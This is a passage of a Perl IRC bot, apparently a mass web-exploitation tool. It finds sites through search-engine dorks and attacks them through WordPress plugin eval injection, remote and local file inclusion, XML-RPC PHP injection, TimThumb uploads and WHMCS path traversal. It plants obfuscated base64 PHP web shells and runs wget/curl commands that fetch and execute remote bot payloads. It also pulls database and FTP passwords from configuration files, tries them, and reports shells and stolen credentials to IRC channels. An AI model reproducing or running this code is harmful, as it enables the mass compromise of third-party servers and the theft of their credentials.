jKCRjZmUsJHJlcyk7DQokcmVzID0gam9pbigiXG4iLCRyZXMpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsNCiRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsNCkBvYl9zdGFydCgpOw0KQHN5c3RlbSgkY2ZlKTsNCiRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQpAb2JfZW5kX2NsZWFuKCk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXsNCkBvYl9zdGFydCgpOw0KQHBhc3N0aHJ1KCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpew0KJGYgPSBAcG9wZW4oJGNmZSwiciIpOw0Kd2hpbGUoIUBmZW9mKCRjZmUpKSB7ICRyZXMgLj0gQGZyZWFkKCRjZmUsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ==";
  975. my $req = HTTP::Request->new(POST => $url);
  976. $req->content_type('application/x-www-form-urlencoded');
  977. $req->content("send-contactus=1&author_name=%5Bphp%5Deval(base64_decode('".$code."'))%3Bdie%28%29%3B%5B%2Fphp%5D");
  978. my $ua = LWP::UserAgent->new(agent => $uagent);
  979. $ua->timeout(7);
  980. my $res = $ua->request($req);
  981. }
  982.  
  983. sub ih_exploit() {
  984. my $chan = $_[0];
  985. my $bug = $_[1];
  986. my $simpan = $_[2];
  987. my $dork = $_[3];
  988. my $engine = $_[4];
  989. my $count = 0;
  990. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$ihlogo);
  991. my $num = scalar(@totexploit);
  992. if ($num > 0){
  993. foreach my $site(@totexploit){
  994. $count++;
  995. if ($count == $num-1) { &msg("$chan","$ihlogo $engine Finished for $dork "); }
  996. my $ihxxx = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2xvYmV4LnBocCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7Cg";
  997. my $ihcek = "JHM9cGhwX3VuYW1lKCk7CmVjaG8gJzxicj4nLiRzOwoKZWNobyAnPGJyPic7CnBhc3N0aHJ1KGlkKTsK";
  998. my $vuln = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihxxx."));error";
  999. my $cekih = "http://".$site.$bug."?action=log-reset&type=ih_options();eval(base64_decode(".$ihcek."));error";
  1000. my $shell = "http://".$site."wp-content/plugins/is-human/lobex.php";
  1001. my $coba = &get_content($cekih);
  1002. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1003. if ($coba =~ /Array<br>(.*?)<br>(.*?)gid=/){ my $uname = $1; my $uid = $2; &get_content($vuln);sleep(1);
  1004. &msg("$chan","$ihlogo $engine Exploiting http://$site ");
  1005. my $res = &get_content($shell);sleep(1);
  1006. if ($res =~ /UnKnown - Simple Shell/){
  1007. &msg("$chan","$ihlogo $engine <=> SheLL <=> $shell ");
  1008. } else { &msg("$chan","$ihlogo $engine <=> Vuln <=> $site <=> Os=$uname $uid ");
  1009. }
  1010. }
  1011. } exit;
  1012. }
  1013. }
  1014. }
  1015. }
  1016. sub rfi_exploit() {
  1017. my $chan = $_[0];
  1018. my $bug = $_[1];
  1019. my $simpan = $_[2];
  1020. my $dork = $_[3];
  1021. my $engine = $_[4];
  1022. my $count = 0;
  1023. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$rfilogo);
  1024. my $num = scalar(@totexploit);
  1025. if ($num > 0){
  1026. foreach my $site(@totexploit){
  1027. $count++;
  1028. if ($count == $num-1) { &msg("$chan","$rfilogo $engine Finished for $dork "); }
  1029. my $coba = "http://".$site.$bug."test??";
  1030. my $test = "http://".$site.$bug.$injector."??";
  1031. my $dor = "http://".$site.$bug.$botshell."??";
  1032. my $cek = &get_content($coba);
  1033. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1034. &get_content($dor);sleep(1);
  1035. if ($cek =~ /failed to open stream/) {
  1036. my $check = &get_content($test);sleep(1);
  1037. if ($check =~ /stunshell/i) {
  1038. &os2($test,$chan,$engine,$rfilogo);
  1039. }
  1040. }
  1041. } exit;
  1042. }
  1043. }
  1044. }
  1045. }
  1046.  
  1047. sub lfi_exploit() {
  1048. my $chan = $_[0];
  1049. my $bug = $_[1];
  1050. my $simpan = $_[2];
  1051. my $dork = $_[3];
  1052. my $engine = $_[4];
  1053. my $count = 0;
  1054. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$lfilogo);
  1055. my $num = scalar(@totexploit);
  1056. if ($num > 0){
  1057. foreach my $site(@totexploit){
  1058. $count++;
  1059. if ($count == $num-1) { &msg("$chan","$lfilogo $engine Finished for $dork "); }
  1060. my $dir = "../../../../../../../../../../../../../../../../../../../../../../../../";
  1061. my $test = "http://".$site.$bug.$dir."/proc/self/environ%0000";
  1062. my $shell = "http://".$site.$bug.$dir."/tmp/lobex%0000";
  1063. my $html = &get_content($test);
  1064. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1065. if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT/) {
  1066. my $res = lfi_env_query($test);
  1067. # &lfi_spread_query($test);
  1068. if ($res =~ /c0li#(.*?)#c0li(.*?)SUCCESS/) {
  1069. my $os = $1;
  1070. my $uid = $2;
  1071. my $lficheck = &get_content($shell);
  1072. if ($lficheck =~ /UnKnown - Simple Shell/){
  1073. &msg("$chan","$lfilogo $engine <=> SheLL <=> $shell (OS=$os) $uid ");
  1074. } else {
  1075. &msg("$chan","$lfilogo $engine <=> Vuln <=> $site (OS=$os) $uid ");
  1076. }
  1077. }
  1078. }
  1079. } exit; }
  1080. }
  1081. }
  1082. }
  1083. sub lfi_env_query() {
  1084. my $url = $_[0];
  1085. my $code = 'JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWxkUXVOVEZIMHVFdjl1bUZPeW93V0hla2gyQldScEtURWxkeUUwUWZvQ3lHWHNWaktMUGJaenhuRkd4SC92dlROcFZaYUYwbmZ6RXVmZVpyL09uTGxCOTNDNUtHcHFGRWFLRnlKRk9wYmFlaC92N2pBcEN4bFdTUlpGWmpGcUQ5SElkTVRkNDFjeDdiYWlNQWpEd2ZEeTJwbkduK003NTdiZC91RnVhcWRvenhYWFZrUUpXbnhsQ0U2dEpadkNJd2FNL2dwVDEvUjhQTDZLem9maG1ONmltNHZQVys1RThPY2tDTWZSY1RTd2dIYVJyZ0JPNHpRbXEwdk1DVkd3VVpNYmdha3huaUpaeFRPV0g2WU1vSis0NE5FY3VtZlFHT1ZTeXB4by8zaGdtenkwRkZncXlmVUswb2NuZEU1bk1ld0hrR0JyYVZPUEg0R0ZXYkZLUTVjQU1xV1pMSm4wb2VLaVEyMjZFbVRPM1BWUmp2Mk9RZnI5RWRCSHo4enVaeUVoeVZoT28rQnZPQTQyZ3ZLWWRDNjFzOE9oeEJJaVA4M1I2aVZTUWZjSk5WblJmVzBlSzU2UlgvRkxiMDRXVFpkVW5VSERGYkRXakdZakJrb2tjZktlYmlQMUZEZUNnR2hEbHdGbTB5czFuVDg3OXZxVW44aHRobXYzenJERWRHRWpuZCtDOGJXVGNZVmdLQnRIalNvcW1iQmFIVGpoNlhWak5ZN09CbjhFbHljWGdYQzBrREtsT2ZHZlEvM2g2ZVFpdUJ4VW8rRmo3Tnh0dExNc0Q3aFZzZ3FnK0t4clhuUE1BNW1qVnlTek5OdHQrOFFtZWRzQnZxT0VqdDRrb1NNcklRQWxpNExRcnVZNmNMMkorRjBVV0U0T1ZYVnRKK0dDY2t5M2NMMDRVZzJmRldQSkZQK2IrVCtScE1qZ3RINzhZRDY5N3JSVXZXaGFqMms3UnJCV0U5d0NjRWZCYnZ2VXBSNk1HSUVCYTlIRzZMWTkybjU0alFrRXdCQVZRbjJUS1YvQkkzRkxsL0FvbVQ4NTUxODdOOXR0UmowOFBDaFY4VGlqeWh4eWV6dk5yQktKaGtoVHlpVVVJNml0Y1puYWU1YWd5U3F4U1BsWFdFd1d5bEwvdnROa2pCQ05lQTk5R1JQRzFUNXJqdzdKWnlVRlRvc0g0T1p4SHpic1UrVzEvVnNsWVdIK1dBMUF2MXlrTG9TVU9VQ1p6RmFPZUFTWXZzSzlWMi9EZ1VKMjcyaFBRb3M4ajFMYUVOamxvcXcwMGF1UytVZXpMNW9TNU5pblZwN1NlbUpMV21iKzVMZHNLTG1QczhyOHZnTjhCenZyT2NmYm5USTRJSk1pcnpMTldHdmhHTnhPR3V1NDZid1pCNmY1bHhFbWNrbkVLVG5qR1ROd1p4RDllWm9GUWtZbTZtR1Y3WDBMTUlQNDJvM2F4SiswcnZuQmMzdTFpMWkyTk5GVWNiT0pqZnpJcG8xKy8xaGRWTEFsUGtPU2NiRkZ2bzYzQW5tVHRZOUI5WnBiTy9BV3ZSdXJGUm03YVhsanMxd3JFNUZsM1BMbDB4M1llSmsrbXBpNkhRaHRNQTZ6akdUN2h0ZEJVSWxtQ3pnRE1qck1pM3NXMmV3c2pSRGdmak5SNTNKeHcyRGpycnZ4V1ptNm1lK1NDcWUxZTZSRUJid2RUSXA3NFpIWVVsbTIvRzZWSlBEWGgzVXdiRituZytWbzFDZjBtRHlhMi9hTTVFMzBEY3RqVkF4eXRUTkN6UnVyWG5pbGNac0srcmxFMEtINXdMSkp1T01qOW9VbExuTXlXODJLcUlPeFovTVZXUDVVUlNkRzVDQ0xuUmNTZit6OUF3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcvdG1wL2xvYmV4JywndycpOwpmd3JpdGUoJGZpY2hpZXIsICRjKTsKZmNsb3NlKCRmaWNoaWVyKTsK';
  1086. my $ua = LWP::UserAgent->new(agent => "<?echo 'c0li#'.php_uname().'#c0li'.get_current_user();eval(base64_decode('".$code."'));echo 'SUCCESS';?>");
  1087. $ua->timeout(7);
  1088. my $req = HTTP::Request->new(GET => $url);
  1089. my $res = $ua->request($req);
  1090. return $res->content;
  1091. }
  1092.  
  1093. sub xml_exploit() {
  1094. my $chan = $_[0];
  1095. my $bug = $_[1];
  1096. my $simpan = $_[2];
  1097. my $dork = $_[3];
  1098. my $engine = $_[4];
  1099. my $count = 0;
  1100. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
  1101. my $num = scalar(@totexploit);
  1102. if ($num > 0){
  1103. foreach my $site(@totexploit){
  1104. $count++;
  1105. if ($count == $num-1) { &msg("$chan","$xmllogo $engine Finished for $dork "); }
  1106. my $test = "http://".$site.$bug;
  1107. my $vuln = "http://".$site." 12".$bug;
  1108. my $html = &get_content($test);
  1109. if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1110. if ($html =~ /faultcode/i ) {
  1111. my $resp = &xml_cek_query2($test);
  1112. if ($resp =~ /Byroe(.*)Lobex/s) {
  1113. # &xml_spread_query($test);sleep(1);
  1114. my $sys = $1;
  1115. my $shell = "http://".$site."/lobex.php";
  1116. my $check = &get_content($shell);
  1117. if ($check =~ /UnKnown - Simple Shell/) {
  1118. my $safe = ""; my $os = ""; my $uid = "";
  1119. if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
  1120. if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
  1121. if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
  1122. &msg("$chan","$xmllogo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  1123. &msg("$admin","$xmllogo $engine <=> sHeLL <=> $shell (SafeMode=$safe) (OS=$os) uid=$uid ");
  1124. }
  1125. # else {
  1126. # &msg("$chan"," 0,1$xmllogo( 4@ 8$engine 15) 15( 13@ 12SysTem 15) 10 ".$vuln." 3".$sys); sleep(1);}
  1127. }
  1128. }
  1129. } exit;
  1130. }
  1131. }
  1132. }
  1133. }
  1134.  
  1135. sub xml_cek_query() {
  1136. my $url = $_[0];
  1137. my $code = "system('uname -a');";
  1138. my $ua = LWP::UserAgent->new(agent => 'perl post');
  1139. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1140. $exploit .= "<methodName>test.method</methodName>";
  1141. $exploit .= "<params><param><value><name>',''));";
  1142. $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
  1143. $ua->timeout(7);
  1144. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1145. return $res->content;
  1146. }
  1147.  
  1148. sub xml_cek_query2() {
  1149. my $url = $_[0];
  1150. my $string = "JGM9Z3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCJyVWw2UXVOVEVQNWNKUDdEc3MzSmpnNGNxRWZwQkRGcWxKZ1N0UkFhSi8wQ3lHWHNXcktIdmJacDErUkZ4SC92eks2ZGwrT09SZWtpb1Rnenp6TXZ6ODZPNlg0czUrWHVqbTlYOFU5UlY4ZEZ1KzJUM1IwbWNpRWp5Y3BQZHk1ejdpRWErWlM0ZTF3cHB0MUpGQVp1MkI5YzN6cVQrR2I4NE55MzJ6ODk3ZTYwSHJuaU9pa3FvWWxDRG9IVVRiQUpQQ0p1K0dvd3ZLV1hvOUZhWnprSVZQUWUzVng4M21VUGc3L0dUamlLeHNPK0JWbUtad2tJR3FjeFRNWnZVNERCRWxydUJJWlRQbEtZaXFjc1Axa1pRRDlrd2FNWlIrbWdNY3FMbERtcitrckFObXgzS1paSGt1c2xoQS9QTG9Mb2Q5QUxJTURnNG9LZVBJTUttVyt2b0s0QmNVVXpURExwVU1ac29mUnhLZUtjdWF1T0hQc2RuZlZ0VUpDcDdwazk2RTlQa08rUmhzSFZZQlI1a1BLWWRDNjF2Y09oeEJLWW4zTjE5WklpcC91RUdxWG9QcjJNRmMvSVltc3NzU0JtcmN2alFhZlJDa2Q0MnJrVC9Sc1NNdm5Jc0pDNml6dE93TnF2MDRDNXFaV2F5bDhjZTMzS2VMRmVJTjYvTnlyeHFkdU16dS9CNk5aV3NrOHdIQnVjR2toSE1tNmJadUNFNThQK3pTaTY2UDhaWEo5ZEJZNlpoWlFwelltL1UvVUc1K09yNEcwVURRZURrV2J2MGM2aVBPQWl5U3FBNHJQaWJKa3hEOFljcDFFeUs3UE50MEo1d0xaNjRBZU8wUEdiVStqWWpoQ0FrbXhPZFVwbW5iSFRzZmhRRkF0T0RsVjFkeWZobkhKTXQzQzkzWWswZjloYVdwc1dZOWtVLzRmNXY1Q2t5T0RVZnY1Z1BnQThwZDRxdDFTN25jbUszQUp3UjhHaCs5U2xIclFhZ1FIMDBjYm90ajNhZm5pT01SQ2dtWXFudm9tVUwrRVJJcXhGYTVUTTFzN1oxODdOc3Q2VUR3OFJFa1U4MXFneVZOcmVEak90VWFKdXBaRmxBY2tJemt1eVZlMTlXTkJ4SjdKSStWZFlUQmJLVXYrKzAyVE1RQnJYSHZveUpveXJmV09FRHNsbkpRVk9pd2ZnNW9TZk51eHoybmo3dDBYYzNmMmZISUQrZnBJNkVWZm1nSEV5SnptdUUwUDZCdmNyaVkwR1BxV25yd3R0WHVSc0xOSlR3QzRYY3FXSlhwYk1wNXA5MFpTZ3hqNWE4cFJoZThOM2t2TzEzOGFoNURIT0t2UDdBZkFkck96VU9kbXVsTUVCbVJCc2xYWmV3b3ZINEE3U1M4ZGE1Vm83Mk0xL3REQXVzeUpCeVFYUG1IYWpnK2dYM2N4c21qSkVTcXQ1N1Z1QUtmQjROODRtL3FSb3pnODIycXRJWExPRmJoK1R6U0kyNHFPYWxuMzBlSjFVc0FVK1E1SnhzVVcranJjSXRzamFWQ2R0cGExNmExamVqUldMaXQwNmx0d3MyY293Ulk3YnZsemZnYjJXcWFQaDFPVUE2Y2s0ekVYR0xSemVPbzBremozZ0RNak1ibDQ4c3NoVGRIYUVBUGViRkoyWGthWEI1bDFJNDVrMGFERS9KQlJwZVBkVk14WHdsbkVwN29WMGJ4Y3kyZktIU0pMQXYwQlJnOG43T2h3c3IrTWVvU2ZrMmR5MkZ5TFhVTitvREdyRVZVazc4OVM4dVlEVnJLU0lmZUZYSzJ1ekxKVnp1Yk5FWWJlVWVXWUw0clRFa3NWcFJUQXlXWnp5anc0UDN4Rk1MUERwbmNIYlF5NG1ZcS9wbllhL0diUFQ1TER0ZkR6OUZ3PT0iKSkpOwokZmljaGllciA9IGZvcGVuKCcuL2xvYmV4LnBocCcsJ3cnKTsKZndyaXRlKCRmaWNoaWVyLCAkYyk7CmZjbG9zZSgkZmljaGllcik7Cg==";
  1151. my $ua = LWP::UserAgent->new(agent => 'perl post');
  1152. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1153. $exploit .= "<methodName>test.method</methodName>";
  1154. $exploit .= "<params><param><value><name>',''));";
  1155. $exploit .= "echo 'Byroe';echo(php_uname());eval(base64_decode('$string'));echo 'Lobex';exit;/*</name></value></param></params></methodCall>";
  1156. $ua->timeout(7);
  1157. my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
  1158. return $res->content;
  1159. }
  1160.  
  1161. sub xml_spread_query() {
  1162. my $xmltargt = $_[0];
  1163. my $xmlsprd = "system('wget ".$injector." -O lobex.php;fetch ".$injector.";mv bad.txt lobex.php;wget ".$botshell." -O tmp.php;fetch ".$botshell.";mv bot.txt tmp.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bot.txt;rm -rf bot.txt;wget ".$botshell.";php bot.txt;rm -rf bot.txt;curl -O ".$botshell.";php bot.txt;rm -rf bot.txt;lwp-download ".$botshell.";php bot.txt;');";
  1164. my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1165. $exploit = "<?xml version=\"1.0\"?><methodCall>";
  1166. $exploit .= "<methodName>test.method</methodName>";
  1167. $exploit .= "<params><param><value><name>',''));";
  1168. $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
  1169. $userAgent->timeout(7);
  1170. my $response = $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
  1171. }
  1172.  
  1173. sub thumb_exploit() {
  1174. my $chan = $_[0];
  1175. my $bug = $_[1];
  1176. my $simpan = $_[2];
  1177. my $dork = $_[3];
  1178. my $engine = $_[4];
  1179. my $count = 0;
  1180. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
  1181. my $num = scalar(@totexploit);
  1182. if ($num > 0){
  1183. foreach my $site(@totexploit){
  1184. $count++;
  1185. my $vuln = "http://".$site.$bug."?src=".$thumbshell;
  1186. my $botis = "http://".$site.$bug."?src=".$botid;
  1187. my $botxc = "http://".$site.$bug."?src=".$botxid;
  1188. my @nbug = split(/\//,$bug);
  1189. my $cek = &get_content($vuln);
  1190. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1191. if ($cek =~ /Unable to open image(.*?)$nbug[0](.*?)$md5php/i){
  1192. &msg("$chan","$thumblogo $engine Exploiting http://$site ");
  1193. my $pdir = $2;
  1194. if ($spreadMode == 1) { &get_content($botis); &get_content($botxc);sleep(1); }
  1195. my $crut = "http://".$site.$nbug[0].$pdir.$md5php;
  1196. my $botc = "http://".$site.$nbug[0].$pdir.$md5bot;
  1197. my $botpc = "http://".$site.$nbug[0].$pdir.$md5botx;
  1198. my $npath = "http://".$site."wp-includes/wp-script.php";
  1199. my $check = &get_content($crut."?clone");sleep(1);
  1200. if ($check =~ /stunshell/i){
  1201. my $safe = ""; my $os = ""; my $uid = "";
  1202. if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
  1203. if ($check =~ m/color=red><b>&nbsp;&nbsp;&nbsp;(.*?)<br>/) {$os = $1;}
  1204. if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
  1205. my $crot = &get_content($npath);sleep(1);
  1206. if ($crot =~ /stunshell/i){
  1207. &msg("$admin","$thumblogo $engine <=> sHeLL <=> ".$npath." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1208. &msg("$chanxxx","$thumblogo $engine <=> sHeLL <=> ".$npath." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1209. } else {
  1210. &msg("$admin","$thumblogo $engine <=> sHeLL <=> ".$crut." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1211. &msg("$chan","$thumblogo $engine <=> sHeLL <=> ".$crut." (SafeMode=$safe) (OS=$os) uid=$uid ");
  1212. }
  1213. &get_content($botc);sleep(1);
  1214. &get_content($botpc);sleep(1);
  1215. }
  1216. }
  1217. } exit; }
  1218. if ($count == $num-1) { &msg("$chan","$thumblogo $engine Finished for $dork "); }
  1219. }
  1220. }
  1221. }
  1222.  
  1223. sub whmcs_exploit() {
  1224. my $chan = $_[0];
  1225. my $bug = $_[1];
  1226. my $simpan = $_[2];
  1227. my $dork = $_[3];
  1228. my $engine = $_[4];
  1229. my $count = 0;
  1230. my @totexploit = &search_engine($chan,$bug,$dork,$engine,$whmcslogo);
  1231. my $num = scalar(@totexploit);
  1232. if ($num > 0){
  1233. foreach my $site(@totexploit){
  1234. $count++;
  1235. if ($count == $num-1) { &msg("$chan","$whmcslogo $engine Finished for $dork "); }
  1236. my $test1 = "http://".$site.$bug."../../../configuration.php%00";
  1237. my $submit = "http://".$site.$subticket;
  1238. my $html = &get_content($test1);
  1239. if ($pid = fork){ waitpid($pid ,0); } else { if (fork) { exit; } else {
  1240. if ($html =~ /db_host/i) {
  1241. my $userpass = &getUserPass($html); sleep(2);
  1242. my $info = &getinfo($html); sleep(2);
  1243. &msg("$chaninfo","$whmcslogo $engine <=> info [http://".$site."] $info");
  1244. my $lulz = "http://".$site;
  1245. my $user = ""; my $pass = ""; my $user2 = ""; my $pass2 = ""; my $dtbs2 = "";
  1246. if($lulz =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
  1247. my $host = $2;
  1248. my @ftpu = split(":Viva-Byroe.Net:", $userpass);
  1249. my @dbic = split(":Viva-Byroe.Net:", $info);
  1250. $user = $ftpu[0]; $pass = $ftpu[1];
  1251. $user2 = $dbic[0]; $pass2 = $dbic[1]; $dtbs2 = $dbic[2];
  1252. my $ftpstat = "";
  1253. if($user =~ /_/) { @userz = split("_", $user); $user = $userz[0];}
  1254. &ftp_connect($test1,$host,$user,$pass,$chan,$engine,$whmcslogo);sleep(1);
  1255. &dbi_connect($host,$user2,$pass2,$dtbs2,$chan,$engine,$whmcslogo);sleep(1);
  1256. }
  1257. my $ceksubmit = &get_content($submit);
  1258. if ($ceksubmit =~ /Urgency/i) {
  1259. &msg("$submitchan","$whmcslogo $engine <=> Submit Ticket [".$submit."]"); sleep(2);
  1260. my $uploader = "http://".$site."/downloads/indexx.php";
  1261. my $uploader2 = "http://".$site."/templates_c/indexx.php";
  1262. my $cekup = &get_content($uploader);
  1263. my $cekup2 = &get_content($uploader2);
  1264. if ($cekup =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo $engine <=> Uploader [".$uploader."]");&msg("$admin","$whmcslogo $engine <=> Uploader [".$uploader."]"); }
  1265. if ($cekup2 =~ /enctype=\"multipart\/form-data"/i) { &msg("$chanxxx","$whmcslogo $engine <=> Uploader [".$uploader2."]");&msg("$chanxxx","$whmcslogo $engine <=> Uploader [".$uploader2."]"); }
  1266. }
  1267. }
  1268. } exit;
  1269. }
  1270. }
  1271. }
  1272. }
  1273.  
  1274. sub ftp_connect {
  1275. my $url = $_[0];
  1276. my $host = $_[1];
  1277. my $user = $_[2];
  1278. my $pass = $_[3];
  1279. my $chan = $_[4];
  1280. my $engine = $_[5];
  1281. my $logo = $_[6];
  1282. my $success = 1;
  1283. use Net::FTP;
  1284. my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 7);
  1285. $success = 0 if $ftp->login($user,$pass);
  1286. $ftp->quit;
  1287. if ($success == 0) {
  1288. &msg("$chanxxx","$logo $engine <=> FTP [http://".$host."] [".$user.":".$pass."]");
  1289. }
  1290. }
  1291. sub dbi_connect () {
  1292. my $host = $_[0];
  1293. my $user = $_[1];
  1294. my $pass = $_[2];
  1295. my $dtbs = $_[3];
  1296. my $chan = $_[4];
  1297. my $engine = $_[5];
  1298. my $logo = $_[6];
  1299. my $port = "3306";
  1300. my $platform = "mysql";
  1301. my $dsn = "dbi:$platform:$dtbs:$host:$port";
  1302. my $DBIconnect= DBI->connect($dsn,$user,$pass);
  1303. if ($DBIconnect) {
  1304. &msg("$chanxxx","$logo $engine <=> MySql [http://".$host."] [Connected]");
  1305. }
  1306. }
  1307. sub getUserPass() {
  1308. my $string = $_[0];
  1309. my @lol = split("\r\n", $string);
  1310. my $pass = "";
  1311. my $user = "";
  1312. foreach my $line (@lol) {
  1313. if(($line =~ m/db_password(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_password(.*?)=(.*?)"(.+?)";/i)) {
  1314. $pass = $3;
  1315. }
  1316. if(($line =~ m/db_username(.*?)=(.*?)'(.+?)';/i) or ($line =~ m/db_username(.*?)=(.*?)"(.+?)";/i)) {
  1317. $user = $3;
  1318. }
  1319. }
  1320. return $user.":Viva-Byroe.Net:".$pass;
  1321. }
  1322.  
  1323. sub getinfo() {
  1324. my $string = $_[0];
  1325. my @lol = split("\r\n", $string);
  1326. my $pass = "";
  1327. my $user = "";
  1328. my $dbs = "";
  1329. foreach my $line (@lol) {
